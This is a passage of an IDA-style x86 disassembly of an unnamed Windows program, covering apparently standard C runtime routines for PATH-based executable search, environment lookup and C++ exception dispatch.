; ---------------------------------------------------------------------------


loc_430F9C:				; CODE XREF: sub_430D9F+1F7j
		push	[ebp+arg_14]
		push	[ebp+arg_10]


loc_430FA2:				; CODE XREF: sub_430D9F+1FBj
		push	esi
		push	ebx
		push	220h
		push	[ebp+arg_18]
		call	dword_437074	; WideCharToMultiByte
		mov	esi, eax
		cmp	esi, edi
		jz	loc_430F2D


loc_430FBC:				; CODE XREF: sub_430D9F+165j
					; sub_430D9F+188j
		mov	eax, esi
		jmp	loc_430F2F
sub_430D9F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_430FC3	proc near		; CODE XREF: sub_42B0E9+96p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		push	edi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_431128
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	loc_431121
		call	sub_42F119
		cmp	dword ptr [eax], 2
		jnz	loc_431121
		push	2Fh
		push	[ebp+arg_4]
		call	sub_434794
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_431121
		push	offset aPath	; "PATH"
		call	sub_4312C2
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	loc_431121
		push	104h
		call	sub_4297B8
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	loc_431121
		push	ebx
		mov	ebx, 103h
		push	ebx
		push	esi
		push	edi


loc_43103F:				; CODE XREF: sub_430FC3+151j
		call	sub_434720
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		test	eax, eax
		jz	loc_431119
		cmp	byte ptr [esi],	0
		jz	loc_431119
		push	esi
		call	sub_4293A0
		lea	edi, [eax+esi-1]
		pop	ecx
		mov	al, [edi]
		cmp	al, 5Ch
		jnz	short loc_43107A
		push	5Ch
		push	esi
		call	sub_4346AE
		pop	ecx
		cmp	edi, eax
		pop	ecx
		jmp	short loc_43107C
; ---------------------------------------------------------------------------


loc_43107A:				; CODE XREF: sub_430FC3+A7j
		cmp	al, 2Fh


loc_43107C:				; CODE XREF: sub_430FC3+B5j
		jz	short loc_43108B
		push	offset asc_44DABC ; "\\"
		push	esi
		call	sub_42A5E0
		pop	ecx
		pop	ecx


loc_43108B:				; CODE XREF: sub_430FC3:loc_43107Cj
		push	esi
		call	sub_4293A0
		push	[ebp+arg_4]
		mov	edi, eax
		call	sub_4293A0
		add	edi, eax
		pop	ecx
		cmp	edi, 104h
		pop	ecx
		jnb	short loc_431119
		push	[ebp+arg_4]
		push	esi
		call	sub_42A5E0
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	esi
		push	[ebp+arg_0]
		call	sub_431128
		add	esp, 18h
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_8], eax
		jnz	short loc_431119
		call	sub_42F119
		cmp	dword ptr [eax], 2
		jz	short loc_43110F
		push	5Ch
		push	esi
		call	sub_434794
		pop	ecx
		cmp	esi, eax
		pop	ecx
		jz	short loc_4310F0
		push	2Fh
		push	esi
		call	sub_434794
		pop	ecx
		cmp	esi, eax
		pop	ecx
		jnz	short loc_431119


loc_4310F0:				; CODE XREF: sub_430FC3+11Dj
		lea	edi, [esi+1]
		push	5Ch
		push	edi
		call	sub_434794
		pop	ecx
		cmp	edi, eax
		pop	ecx
		jz	short loc_43110F
		push	2Fh
		push	edi
		call	sub_434794
		pop	ecx
		cmp	edi, eax
		pop	ecx
		jnz	short loc_431119


loc_43110F:				; CODE XREF: sub_430FC3+10Fj
					; sub_430FC3+13Cj
		push	ebx
		push	esi
		push	[ebp+var_4]
		jmp	loc_43103F
; ---------------------------------------------------------------------------


loc_431119:				; CODE XREF: sub_430FC3+89j
					; sub_430FC3+92j ...
		push	esi
		call	sub_4298F2
		pop	ecx
		pop	ebx


loc_431121:				; CODE XREF: sub_430FC3+21j
					; sub_430FC3+2Fj ...
		mov	eax, [ebp+var_8]
		pop	edi
		pop	esi
		leave
		retn
sub_430FC3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431128	proc near		; CODE XREF: sub_42B0E9+4Fp
					; sub_430FC3+13p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		push	edi
		push	5Ch
		push	ebx
		mov	edi, ebx
		call	sub_4346AE
		push	2Fh
		push	ebx
		mov	esi, eax
		call	sub_4346AE
		add	esp, 10h
		test	eax, eax
		jnz	short loc_431193
		test	esi, esi
		jnz	short loc_43119D
		push	3Ah
		push	ebx
		call	sub_434794
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jnz	short loc_43119D
		push	ebx
		call	sub_4293A0
		add	eax, 3
		push	eax
		call	sub_4297B8
		mov	edi, eax
		pop	ecx
		test	edi, edi
		pop	ecx
		jz	short loc_4311F6
		push	offset a__0	; ".\\"
		push	edi
		call	sub_42A5D0
		push	ebx
		push	edi
		call	sub_42A5E0
		add	esp, 10h
		lea	esi, [edi+2]
		jmp	short loc_43119D
; ---------------------------------------------------------------------------


loc_431193:				; CODE XREF: sub_431128+24j
		test	esi, esi
		jz	short loc_43119B
		cmp	eax, esi
		jbe	short loc_43119D


loc_43119B:				; CODE XREF: sub_431128+6Dj
		mov	esi, eax


loc_43119D:				; CODE XREF: sub_431128+28j
					; sub_431128+38j ...
		or	[ebp+var_8], 0FFFFFFFFh
		push	2Eh
		push	esi
		call	sub_4346AE
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4311DC
		push	0
		push	edi
		call	sub_42A6C0
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	loc_43125E
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_0]
		call	sub_431271
		add	esp, 10h
		mov	[ebp+var_8], eax
		jmp	loc_43125E
; ---------------------------------------------------------------------------


loc_4311DC:				; CODE XREF: sub_431128+85j
		push	edi
		call	sub_4293A0
		add	eax, 5
		push	eax
		call	sub_4297B8
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		pop	ecx
		mov	[ebp+var_4], ebx
		jnz	short loc_4311FB


loc_4311F6:				; CODE XREF: sub_431128+4Fj
		or	eax, 0FFFFFFFFh
		jmp	short loc_43126C
; ---------------------------------------------------------------------------


loc_4311FB:				; CODE XREF: sub_431128+CCj
		push	edi
		push	ebx
		call	sub_42A5D0
		push	edi
		call	sub_4293A0
		mov	esi, eax
		add	esp, 0Ch
		add	esi, ebx
		mov	ebx, offset off_4538CC


loc_431214:				; CODE XREF: sub_431128+10Fj
		push	dword ptr [ebx]
		push	esi
		call	sub_42A5D0
		push	0
		push	[ebp+var_4]
		call	sub_42A6C0
		add	esp, 10h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_43123B
		sub	ebx, 4
		cmp	ebx, offset off_4538C0
		jge	short loc_431214
		jmp	short loc_431252
; ---------------------------------------------------------------------------


loc_43123B:				; CODE XREF: sub_431128+104j
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_431271
		add	esp, 10h
		mov	[ebp+var_8], eax


loc_431252:				; CODE XREF: sub_431128+111j
		push	[ebp+var_4]
		call	sub_4298F2
		mov	ebx, [ebp+arg_4]
		pop	ecx


loc_43125E:				; CODE XREF: sub_431128+94j
					; sub_431128+AFj
		cmp	edi, ebx
		jz	short loc_431269
		push	edi
		call	sub_4298F2
		pop	ecx


loc_431269:				; CODE XREF: sub_431128+138j
		mov	eax, [ebp+var_8]


loc_43126C:				; CODE XREF: sub_431128+D1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_431128	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431271	proc near		; CODE XREF: sub_431128+A4p
					; sub_431128+11Fp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_C]
		push	eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_434A14
		add	esp, 14h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_431296
		or	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_431296:				; CODE XREF: sub_431271+1Fj
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_43482B
		push	[ebp+arg_C]
		mov	esi, eax
		call	sub_4298F2
		push	[ebp+arg_8]
		call	sub_4298F2
		add	esp, 18h
		mov	eax, esi
		pop	esi
		pop	ebp
		retn
sub_431271	endp


; =============== S U B	R O U T	I N E =======================================



sub_4312C2	proc near		; CODE XREF: sub_42B0E9+Dp
					; sub_430FC3+4Ep

arg_0		= dword	ptr  4

		push	esi
		push	0Ch
		call	sub_42DAEF
		push	[esp+8+arg_0]
		call	sub_4312E3
		push	0Ch
		mov	esi, eax
		call	sub_42DB50
		add	esp, 0Ch
		mov	eax, esi
		pop	esi
		retn
sub_4312C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4312E3	proc near		; CODE XREF: sub_4312C2+Cp
					; sub_4339B6+31p

arg_0		= dword	ptr  4

		cmp	dword_676EC8, 0
		push	ebx
		push	esi
		mov	esi, dword_6769EC
		push	edi
		jz	short loc_43135A
		test	esi, esi
		jnz	short loc_431314
		cmp	dword_6769F4, esi
		jz	short loc_43135A
		call	sub_434C59
		test	eax, eax
		jnz	short loc_43135A
		mov	esi, dword_6769EC
		test	esi, esi
		jz	short loc_43135A


loc_431314:				; CODE XREF: sub_4312E3+14j
		mov	ebx, [esp+0Ch+arg_0]
		test	ebx, ebx
		jz	short loc_43135A
		push	ebx
		call	sub_4293A0
		pop	ecx
		mov	edi, eax


loc_431325:				; CODE XREF: sub_4312E3+6Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_43135A
		push	eax
		call	sub_4293A0
		cmp	eax, edi
		pop	ecx
		jbe	short loc_43134D
		mov	eax, [esi]
		cmp	byte ptr [eax+edi], 3Dh
		jnz	short loc_43134D
		push	edi
		push	ebx
		push	eax
		call	sub_434C1A
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_431352


loc_43134D:				; CODE XREF: sub_4312E3+51j
					; sub_4312E3+59j
		add	esi, 4
		jmp	short loc_431325
; ---------------------------------------------------------------------------


loc_431352:				; CODE XREF: sub_4312E3+68j
		mov	eax, [esi]
		lea	eax, [eax+edi+1]
		jmp	short loc_43135C
; ---------------------------------------------------------------------------


loc_43135A:				; CODE XREF: sub_4312E3+10j
					; sub_4312E3+1Cj ...
		xor	eax, eax


loc_43135C:				; CODE XREF: sub_4312E3+75j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4312E3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431360	proc near		; CODE XREF: .text:0042B597p
					; sub_42B600+1Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_10]
		push	edi
		mov	edi, 19930520h
		cmp	[esi], edi
		jz	short loc_431376
		call	sub_431C2D


loc_431376:				; CODE XREF: sub_431360+Fj
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+4], 66h
		jz	short loc_43139E
		cmp	dword ptr [esi+4], 0
		jz	short loc_4313F4
		cmp	[ebp+arg_14], 0
		jnz	short loc_4313F4
		push	0FFFFFFFFh
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_4]
		call	sub_4316B5
		add	esp, 10h
		jmp	short loc_4313F4
; ---------------------------------------------------------------------------


loc_43139E:				; CODE XREF: sub_431360+1Dj
		cmp	dword ptr [esi+0Ch], 0
		jz	short loc_4313F4
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_4313D8
		cmp	[eax+14h], edi
		jbe	short loc_4313D8
		mov	ecx, [eax+1Ch]
		mov	ecx, [ecx+8]
		test	ecx, ecx
		jz	short loc_4313D8
		movzx	edx, byte ptr [ebp+arg_1C]
		push	edx
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	ecx
		add	esp, 20h
		jmp	short loc_4313F7
; ---------------------------------------------------------------------------


loc_4313D8:				; CODE XREF: sub_431360+4Aj
					; sub_431360+4Fj ...
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_1C]
		push	esi
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	sub_4313FB
		add	esp, 20h


loc_4313F4:				; CODE XREF: sub_431360+23j
					; sub_431360+29j ...
		push	1
		pop	eax


loc_4313F7:				; CODE XREF: sub_431360+76j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_431360	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4313FB	proc near		; CODE XREF: sub_431360+8Cp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= byte ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_4]
		and	byte ptr [ebp+var_14], 0
		mov	eax, [eax+8]
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jl	short loc_43141B
		mov	ecx, [ebp+arg_10]
		cmp	eax, [ecx+4]
		jl	short loc_431420


loc_43141B:				; CODE XREF: sub_4313FB+16j
		call	sub_431C2D


loc_431420:				; CODE XREF: sub_4313FB+1Ej
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ebx, 0E06D7363h
		push	edi
		mov	edi, 19930520h
		cmp	[esi], ebx
		jnz	loc_431583
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_4314A0
		cmp	[esi+14h], edi
		jnz	short loc_4314A0
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_4314A0
		call	sub_42E4EE
		cmp	dword ptr [eax+6Ch], 0
		jz	loc_43157E
		call	sub_42E4EE
		mov	esi, [eax+6Ch]
		call	sub_42E4EE
		mov	eax, [eax+70h]
		push	1
		push	esi
		mov	[ebp+arg_8], eax
		mov	byte ptr [ebp+var_14], 1
		call	sub_434CC7
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_431482
		call	sub_431C2D


loc_431482:				; CODE XREF: sub_4313FB+80j
		cmp	[esi], ebx
		jnz	loc_431583
		cmp	dword ptr [esi+10h], 3
		jnz	short loc_4314A0
		cmp	[esi+14h], edi
		jnz	short loc_4314A0
		cmp	dword ptr [esi+1Ch], 0
		jnz	short loc_4314A0
		call	sub_431C2D


loc_4314A0:				; CODE XREF: sub_4313FB+41j
					; sub_4313FB+46j ...
		cmp	[esi], ebx
		jnz	loc_431583
		cmp	dword ptr [esi+10h], 3
		jnz	loc_431583
		cmp	[esi+14h], edi
		jnz	loc_431583
		mov	edi, [ebp+var_10]
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_42B750
		add	esp, 14h
		mov	ebx, eax


loc_4314D7:				; CODE XREF: sub_4313FB+16Ej
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_18]
		jnb	loc_43156E
		cmp	[ebx], edi
		jg	short loc_431563
		cmp	edi, [ebx+4]
		jg	short loc_431563
		mov	eax, [ebx+10h]
		mov	[ebp+arg_0], eax
		mov	eax, [ebx+0Ch]
		test	eax, eax
		mov	[ebp+var_C], eax
		jle	short loc_431560


loc_4314FC:				; CODE XREF: sub_4313FB+13Dj
		mov	eax, [esi+1Ch]
		mov	eax, [eax+0Ch]
		lea	edi, [eax+4]
		mov	eax, [eax]
		test	eax, eax
		mov	[ebp+var_8], eax
		jle	short loc_43152D


loc_43150E:				; CODE XREF: sub_4313FB+130j
		push	dword ptr [esi+1Ch]
		push	dword ptr [edi]
		push	[ebp+arg_0]
		call	sub_431658
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_43153C
		dec	[ebp+var_8]
		add	edi, 4
		cmp	[ebp+var_8], eax
		jg	short loc_43150E


loc_43152D:				; CODE XREF: sub_4313FB+111j
		dec	[ebp+var_C]
		add	[ebp+arg_0], 10h
		cmp	[ebp+var_C], 0
		jg	short loc_4314FC
		jmp	short loc_431560
; ---------------------------------------------------------------------------


loc_43153C:				; CODE XREF: sub_4313FB+125j
		push	[ebp+var_14]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	ebx
		push	dword ptr [edi]
		push	[ebp+arg_0]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_431769
		add	esp, 2Ch


loc_431560:				; CODE XREF: sub_4313FB+FFj
					; sub_4313FB+13Fj
		mov	edi, [ebp+var_10]


loc_431563:				; CODE XREF: sub_4313FB+EAj
					; sub_4313FB+EFj
		inc	[ebp+var_4]
		add	ebx, 14h
		jmp	loc_4314D7
; ---------------------------------------------------------------------------


loc_43156E:				; CODE XREF: sub_4313FB+E2j
		cmp	[ebp+arg_14], 0
		jz	short loc_43157E
		push	1
		push	esi
		call	sub_431AED
		pop	ecx
		pop	ecx


loc_43157E:				; CODE XREF: sub_4313FB+57j
					; sub_4313FB+177j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_431583:				; CODE XREF: sub_4313FB+37j
					; sub_4313FB+89j ...
		cmp	[ebp+arg_14], 0
		jnz	short loc_4315A9
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+var_10]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_4315AE
		add	esp, 20h
		jmp	short loc_43157E
; ---------------------------------------------------------------------------


loc_4315A9:				; CODE XREF: sub_4313FB+18Cj
		jmp	sub_431BCC
sub_4313FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4315AE	proc near		; CODE XREF: sub_4313FB+1A4p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		push	edi
		call	sub_42E4EE
		cmp	dword ptr [eax+68h], 0
		jz	short loc_4315E1
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_42B625
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_431654


loc_4315E1:				; CODE XREF: sub_4315AE+10j
		mov	edi, [ebp+arg_14]
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		push	[ebp+arg_18]
		push	[ebp+arg_10]
		call	sub_42B750
		add	esp, 14h
		mov	esi, eax


loc_4315FD:				; CODE XREF: sub_4315AE+A4j
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_8]
		jnb	short loc_431654
		cmp	edi, [esi]
		jl	short loc_43164C
		cmp	edi, [esi+4]
		jg	short loc_43164C
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+10h]
		shl	eax, 4
		add	eax, ecx
		mov	ecx, [eax-0Ch]
		test	ecx, ecx
		jz	short loc_431626
		cmp	byte ptr [ecx+8], 0
		jnz	short loc_43164C


loc_431626:				; CODE XREF: sub_4315AE+70j
		push	1
		add	eax, 0FFFFFFF0h
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	esi
		push	0
		push	eax
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_431769
		add	esp, 2Ch


loc_43164C:				; CODE XREF: sub_4315AE+59j
					; sub_4315AE+5Ej ...
		inc	[ebp+var_4]
		add	esi, 14h
		jmp	short loc_4315FD
; ---------------------------------------------------------------------------


loc_431654:				; CODE XREF: sub_4315AE+31j
					; sub_4315AE+55j
		pop	edi
		pop	esi
		leave
		retn
sub_4315AE	endp


; =============== S U B	R O U T	I N E =======================================



sub_431658	proc near		; CODE XREF: sub_4313FB+11Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_4316AF
		cmp	byte ptr [eax+8], 0
		lea	edx, [eax+8]
		jz	short loc_4316AF
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_431689
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_42B260
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4316AB


loc_431689:				; CODE XREF: sub_431658+1Fj
		test	byte ptr [esi],	2
		jz	short loc_431693
		test	byte ptr [edi],	8
		jz	short loc_4316AB


loc_431693:				; CODE XREF: sub_431658+34j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_4316A2
		test	byte ptr [edi],	1
		jz	short loc_4316AB


loc_4316A2:				; CODE XREF: sub_431658+43j
		test	al, 2
		jz	short loc_4316AF
		test	byte ptr [edi],	2
		jnz	short loc_4316AF


loc_4316AB:				; CODE XREF: sub_431658+2Fj
					; sub_431658+39j ...
		xor	eax, eax
		jmp	short loc_4316B2
; ---------------------------------------------------------------------------


loc_4316AF:				; CODE XREF: sub_431658+Bj
					; sub_431658+14j ...
		push	1
		pop	eax


loc_4316B2:				; CODE XREF: sub_431658+55j
		pop	edi
		pop	esi
		retn
sub_431658	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4316B5	proc near		; CODE XREF: sub_431360+34p
					; sub_431769+42p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4376C0
		push	offset sub_42ADC4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebx+8]
		mov	[ebp+var_1C], esi
		mov	edi, [ebp+arg_8]


loc_4316E7:				; CODE XREF: sub_4316B5+8Aj
		cmp	esi, [ebp+arg_C]
		jz	short loc_431741
		cmp	esi, 0FFFFFFFFh
		jle	short loc_4316F6
		cmp	esi, [edi+4]
		jl	short loc_4316FB


loc_4316F6:				; CODE XREF: sub_4316B5+3Aj
		call	sub_431C2D


loc_4316FB:				; CODE XREF: sub_4316B5+3Fj
		and	[ebp+var_4], 0
		mov	eax, [edi+8]
		mov	eax, [eax+esi*8+4]
		test	eax, eax
		jz	short loc_431716
		push	103h
		push	ebx
		push	eax
		call	sub_431B80


loc_431716:				; CODE XREF: sub_4316B5+53j
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_431736
; ---------------------------------------------------------------------------
		push	[ebp+var_14]
		call	sub_431753
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		or	[ebp+var_4], 0FFFFFFFFh
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	esi, [ebp+var_1C]


loc_431736:				; CODE XREF: sub_4316B5+65j
		mov	eax, [edi+8]
		mov	esi, [eax+esi*8]
		mov	[ebp+var_1C], esi
		jmp	short loc_4316E7
; ---------------------------------------------------------------------------


loc_431741:				; CODE XREF: sub_4316B5+35j
		mov	[ebx+8], esi
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4316B5	endp


; =============== S U B	R O U T	I N E =======================================



sub_431753	proc near		; CODE XREF: sub_4316B5+6Ap

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		cmp	dword ptr [eax], 0E06D7363h
		jz	short loc_431764
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_431764:				; CODE XREF: sub_431753+Cj
		jmp	sub_431BCC
sub_431753	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431769	proc near		; CODE XREF: sub_4313FB+15Dp
					; sub_4315AE+96p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_18], 0
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		jz	short loc_43178B
		push	[ebp+arg_18]
		push	ebx
		push	edi
		push	[ebp+arg_0]
		call	sub_431929
		add	esp, 10h


loc_43178B:				; CODE XREF: sub_431769+10j
		cmp	[ebp+arg_24], 0
		push	[ebp+arg_0]
		jnz	short loc_431797
		push	edi
		jmp	short loc_43179A
; ---------------------------------------------------------------------------


loc_431797:				; CODE XREF: sub_431769+29j
		push	[ebp+arg_24]


loc_43179A:				; CODE XREF: sub_431769+2Cj
		call	sub_42B527
		mov	esi, [ebp+arg_1C]
		push	dword ptr [esi]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	edi
		call	sub_4316B5
		mov	eax, [esi+4]
		push	100h
		push	[ebp+arg_20]
		inc	eax
		mov	[edi+8], eax
		push	dword ptr [ebx+0Ch]
		push	[ebp+arg_10]
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_0]
		call	sub_4317E4
		add	esp, 2Ch
		test	eax, eax
		jz	short loc_4317DF
		push	edi
		push	eax
		call	sub_42B4E5


loc_4317DF:				; CODE XREF: sub_431769+6Dj
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_431769	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4317E4	proc near		; CODE XREF: sub_431769+63p

var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_4376D0
		push	offset sub_42ADC4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	ebx, [ebp+arg_10]
		mov	[ebp+var_2C], ebx
		and	[ebp+var_24], 0
		mov	esi, [ebp+arg_4]
		mov	eax, [esi-4]
		mov	[ebp+var_28], eax
		call	sub_42E4EE
		mov	eax, [eax+6Ch]
		mov	[ebp+var_1C], eax
		call	sub_42E4EE
		mov	eax, [eax+70h]
		mov	[ebp+var_20], eax
		call	sub_42E4EE
		mov	edi, [ebp+arg_0]
		mov	[eax+6Ch], edi
		call	sub_42E4EE
		mov	ecx, [ebp+arg_8]
		mov	[eax+70h], ecx
		and	[ebp+var_4], 0
		mov	[ebp+var_4], 1
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	ebx
		push	[ebp+arg_C]
		push	esi
		call	sub_42B5AC
		add	esp, 14h
		mov	[ebp+var_2C], eax
		and	[ebp+var_4], 0
		or	[ebp+var_4], 0FFFFFFFFh
		call	sub_4318B1
		mov	eax, [ebp+var_2C]


loc_43187A:				; CODE XREF: sub_431893+16j
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4317E4	endp


; =============== S U B	R O U T	I N E =======================================



sub_431889	proc near		; DATA XREF: .text:004376E0o
